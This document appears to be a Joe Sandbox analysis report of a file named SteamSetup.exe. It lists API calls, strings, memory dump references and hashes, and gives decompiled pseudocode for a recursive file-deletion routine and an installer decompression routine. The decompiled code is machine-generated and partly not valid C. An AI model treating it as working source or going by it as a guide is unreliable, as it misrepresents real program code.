0x00000000
0x00406273
0x00406277
0x00000000
0x00000000
0x00406279
0x0040627d
0x00000000
0x0040627f
0x0040627f
0x00000000
0x0040627f
0x0040627d
0x004063f8
0x00406403
0x0040640f
0x0040640f
0x00000000

APIs

GetVersion.KERNEL32(00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,?,00405314,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000), ref: 00406263
GetSystemDirectoryW.KERNEL32(Delete on reboot: ,00000400), ref: 004062E1
GetWindowsDirectoryW.KERNEL32(Delete on reboot: ,00000400), ref: 004062F4
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406330
SHGetPathFromIDListW.SHELL32(?,Delete on reboot: ), ref: 0040633E
CoTaskMemFree.OLE32(?), ref: 00406349
lstrcatW.KERNEL32(Delete on reboot: ,\Microsoft\Internet Explorer\Quick Launch), ref: 0040636D
lstrlenW.KERNEL32(Delete on reboot: ,00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,?,00405314,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000), ref: 004063C7

Strings

Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\, xrefs: 004061C5
Delete on reboot: , xrefs: 004061CA, 004062AA, 004062CB, 004062E0, 004062F3, 0040630F, 0040633A, 0040636C, 00406372, 0040638C, 004063A0, 004063C0, 004063C6, 004063D2, 00406405
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406367
Software\Microsoft\Windows\CurrentVersion, xrefs: 004062AF

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Delete on reboot: $Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3953304715
Opcode ID: ad7f9d25d5d15659371a18125183daf3d831ef86bf1ddb5fded95f80f67ed536
Instruction ID: 57c77dc533264c97ace6329bd87f7d674c2bea75a5b3d90d15d675b8bae5a73d
Opcode Fuzzy Hash: ad7f9d25d5d15659371a18125183daf3d831ef86bf1ddb5fded95f80f67ed536
Instruction Fuzzy Hash: 1E611571A00104EBDF209F24CC40AAE37A5AF15314F56817FED56BA2D0D73D8AA2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040596F Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E0040596F(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405C3A(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x42a2c8 =  *0x42a2c8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040617E(0x425730, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405B7E(_t68);
					} else {
						lstrcatW(0x425730, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x425730,  &_v604); // executed
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040617E(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405927(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004052DD(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x42a2c8 =  *0x42a2c8 + 1;
										} else {
											E004052DD(0xfffffff1, _t68);
											E0040601F(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E0040596F(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x425730 - 0x5c;
					if( *0x425730 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E004064C1(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405B32(_t68);
							_t38 = E00405927(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004052DD(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004052DD(0xfffffff1, _t68);
							return E0040601F(_t67, _t68, 0);
						}
						L30:
						 *0x42a2c8 =  *0x42a2c8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405979
0x0040597e
0x00405987
0x0040598a
0x00405992
0x00405995
0x00405998
0x004059a0
0x004059a2
0x004059a3
0x00000000
0x004059a3
0x004059ae
0x004059b1
0x004059b1
0x004059b1
0x004059b5
0x004059c8
0x004059cf
0x004059d4
0x004059d8
0x004059e8
0x004059da
0x004059e0
0x004059e0
0x004059ed
0x004059f1
0x004059fd
0x00405a03
0x00405a08
0x00405a0e
0x00405a19
0x00405a1f
0x00405a21
0x00405a24
0x00405ace
0x00405ace
0x00405ad2
0x00405ad4
0x00405ad4
0x00405ad4
0x00405ad4
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a2a
0x00405a2a
0x00405a2a
0x00405a32
0x00405a52
0x00405a5a
0x00405a5f
0x00405a66
0x00405a81
0x00405a86
0x00405a88
0x00405aac
0x00405a8a
0x00405a8a
0x00405a8d
0x00405aa1
0x00405a8f
0x00405a92
0x00405a9a
0x00405a9a
0x00405a8d
0x00405a68
0x00405a6e
0x00405a70
0x00405a76
0x00405a76
0x00405a70
0x00000000
0x00405a66
0x00405a34
0x00405a3c
0x00000000
0x00000000
0x00405a3e
0x00405a46
0x00000000
0x00000000
0x00405a48
0x00405a50
0x00000000
0x00000000
0x00000000
0x00405ab1
0x00405ab9
0x00405abf
0x00405abf
0x00405ac8
0x00000000
0x00405ac8
0x004059f3
0x004059fb
0x00000000
0x00000000
0x00000000
0x004059b7
0x004059b7
0x004059b9
0x00405ad9
0x00405adb
0x00405ade
0x00405b2f
0x00405b2f
0x00405b2f
0x00405ae0
0x00405ae3
0x00405aee
0x00405af3
0x00405af5
0x00000000
0x00000000
0x00405af8
0x00405b04
0x00405b09
0x00405b0b
0x00000000
0x00405b26
0x00405b0d
0x00405b10
0x00000000
0x00000000
0x00405b15
0x00000000
0x00405b1c
0x00405ae5
0x00405ae5
0x00000000
0x00405ae5
0x004059bf
0x004059c2
0x00000000
0x00000000
0x00000000
0x004059c2

APIs

DeleteFileW.KERNELBASE(?,?,74D0FAA0,74D0F560,00000000), ref: 00405998
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsc3274.tmp\*.*,\*.*), ref: 004059E0
lstrcatW.KERNEL32(?,0040A014), ref: 00405A03
lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsc3274.tmp\*.*,?,?,74D0FAA0,74D0F560,00000000), ref: 00405A09
FindFirstFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsc3274.tmp\*.*,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsc3274.tmp\*.*,?,?,74D0FAA0,74D0F560,00000000), ref: 00405A19
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AB9
FindClose.KERNEL32(00000000), ref: 00405AC8

Strings

\*.*, xrefs: 004059DA
"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" , xrefs: 0040596F
C:\Users\user\AppData\Local\Temp\nsc3274.tmp\*.*, xrefs: 004059C8, 004059CE, 004059DF, 00405A18

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\SteamSetup.exe" $C:\Users\user\AppData\Local\Temp\nsc3274.tmp\*.*$\*.*
API String ID: 2035342205-1077711482
Opcode ID: fd57f151e8af197d71c8fed8a04c65ccd5cf3bf9c4040b497ebf2cee1ecae55f
Instruction ID: 6c547db7f4d1248ed83a6ec2b2b7cf99957869ea0eb35c9edb1a86952611c1c3
Opcode Fuzzy Hash: fd57f151e8af197d71c8fed8a04c65ccd5cf3bf9c4040b497ebf2cee1ecae55f
Instruction Fuzzy Hash: 5A41B530A40914A6CB21AB659CC9AAF7678EF41724F20427FF801711D1D77C5986DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406846 Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00406846() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M004070E9))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
